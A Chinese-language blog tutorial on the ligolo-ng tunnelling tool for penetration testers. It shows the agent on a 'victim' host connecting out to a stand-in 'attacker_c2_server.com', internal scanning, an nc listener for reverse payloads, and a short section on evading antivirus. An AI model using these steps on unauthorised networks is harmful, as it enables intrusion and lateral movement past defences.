一种使用 TUN 接口高级但简单的隧道工具。
工具介绍
Ligolo-ng 是一个简单、轻量级且快速的工具,允许渗透测试人员使用 tun 接口(无需 SOCKS)从反向 TCP/TLS 连接建立隧道。
功能说明
-
Tun 接口(不再使用 SOCKS!): 利用 Tun 接口,摆脱 SOCKS 的限制! -
简洁的用户界面,包括代理选择和网络信息: 提供直观易懂的用户界面,轻松选择代理并查看网络信息。 -
简便易用,轻松设置: 设计简单易用的界面,使设置过程变得轻而易举。 -
自动使用 Let's Encrypt 进行证书配置: 自动配置证书,利用 Let's Encrypt 简化安全性设置。 -
高性能(多路复用): 通过多路复用技术实现卓越的性能。 -
无需高权限: 无需高权限即可运行,提供更灵活的部署选项。 -
在代理上进行套接字监听/绑定: 在代理上实现套接字监听和绑定,以便有效地处理传入连接。 -
支持多平台的代理: 在多个平台上提供支持,确保广泛适用性。
不同之处
与使用 SOCKS 代理或 TCP/UDP 转发器不同,Ligolo-ng 利用 Gvisor 创建了一个用户态网络堆栈。
在运行中继/代理服务器时,使用了一个 tun 接口,发送到该接口的数据包被翻译,然后传输到代理远程网络。
以 TCP 连接为例:
-
SYN 被翻译为远程的 connect() 调用 -
如果 connect() 成功,就会发送 SYN-ACK 返回 -
如果 connect 后返回 ECONNRESET、ECONNABORTED 或 ECONNREFUSED,就会发送 RST -
如果超时,则什么都不发送
这使得可以在不使用 proxychains 的情况下运行诸如 nmap 这样的工具(更简单更快)。
使用说明
服务端
1.本地编译
Building ligolo-ng (Go >= 1.20 is required):
$ git clone https://github.com/nicocha30/ligolo-ng.git
$ cd ligolo-ng
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
2.直接下载已经编译好的二进制文件: https://github.com/nicocha30/ligolo-ng/releases 分别下载对应的 Proxy 服务端
Linux 部署 proxy 端
wget https://mirror.ghproxy.com/https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.4/ligolo-ng_proxy_0.4.4_linux_amd64.tar.gz
tar -xzvf ligolo-ng_proxy_0.4.4_linux_amd64.tar.gz
直接运行,提示无法创建 tun 接口
创建 tun 接口
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
$ ifconfig|grep -A 5 ligolo
开始
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
客户端
在目标(受害者)计算机上启动代理(不需要任何权限!):
注意事项
attacker_c2_server.com 后续用于申请 tls 证书搭配 --autocert 使用
如果直接使用 IP,需要 proxy 端配合
-selfcert
参数
$ ./agent -connect attacker_c2_server.com:11601
如果要通过 SOCKS5 代理建立隧道连接,可以使用 --socks ip:port 选项。您可以使用 --socks-user 和 --socks-pass 参数指定 SOCKS 凭据。
代理服务器上应出现会话。
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
使用会话命令选择代理。
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
使用 ifconfig 命令显示代理的网络配置:
通过找到目标的对应的网段,在 proxy 配置相关路由即可
[Agent : nchatelain@nworkstation] » ifconfig
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘
在代理 / 中继服务器上添加到 192.168.0.0/24 代理网络的路由。
Linux:
$ sudo ip route add 192.168.0.0/24 dev ligolo
Windows:
> netsh int ipv4 show interfaces
Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
在代理上启动隧道:
[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
您现在可以从代理服务器访问 192.168.0.0/24 代理网络。
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]
TLS 配置
代理服务器是一种网络工具,用于在客户端和目标服务器之间充当中介。该工具提供了多种 TLS 选项,以满足不同的安全需求。
TLS 选项:
-
Let's Encrypt Autocert: -
使用 -autocert
选项时,代理服务器将自动为attacker_c2_server.com
请求 Let's Encrypt 证书。 -
需要确保端口 80 可访问,以进行 Let's Encrypt 证书的验证和检索。 -
使用自己的 TLS 证书: -
通过使用 -certfile
和-keyfile
参数,您可以为代理服务器指定自己的 TLS 证书。 -
自动生成自签名证书(谨慎使用): -
代理/中继支持使用 -selfcert
选项生成自签名的 TLS 证书。 -
在代理中,需要使用 -ignore-cert
选项。请注意,这仅适用于测试环境或调试目的。
注意事项:
-
在使用自签名证书时,请注意潜在的中间人攻击风险。建议仅在测试环境中使用。
这些 TLS 选项使得代理服务器非常灵活,并可根据不同的安全需求进行配置。请确保根据实际情况选择适当的选项以确保网络通信的安全性。
权限要求
Agent 代理端不需要任何权限,Relay/Proxy 则需要创建 tun 接口的权限。
支持的协议 / 数据包
-
TCP -
UDP -
ICMP (echo requests)
性能表现
测试拓扑
测试工具: iperf3
target:
sudo iperf3 -s -p 24483
Agent:
agent.exe -connetct server.com:11601
proxy 启动 session1 并配置路由,之后连接进行测试
iperf3 -c 192.168.x.105 -p 24483
轻松打满 VPS 的带宽
端口转发
以下示例将在代理 (0.0.0.0:1234) 上创建 TCP 侦听套接字,并将连接重定向到代理服务器的 4321 端口。
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
在 proxy
:
$ nc -lvp 4321
当在代理的 TCP 端口 1234 上建立连接时,nc 将接收该连接。
当使用反向 tcp/udp 有效负载时,这非常有用。
您可以使用 listener_list 命令查看当前正在运行的侦听器,并使用 listener_stop [ID] 命令停止它们:
[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.
免杀效果
VT 多引擎查杀: 8/47
火绒、Defender 均不杀,360 卫士会杀
简单处理 Bypass,但不是长久之计,可以考虑二开。
原文始发于微信公众号(一个不正经的黑客):[实践精品] 新一代内网穿透工具 ligolo-ng
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论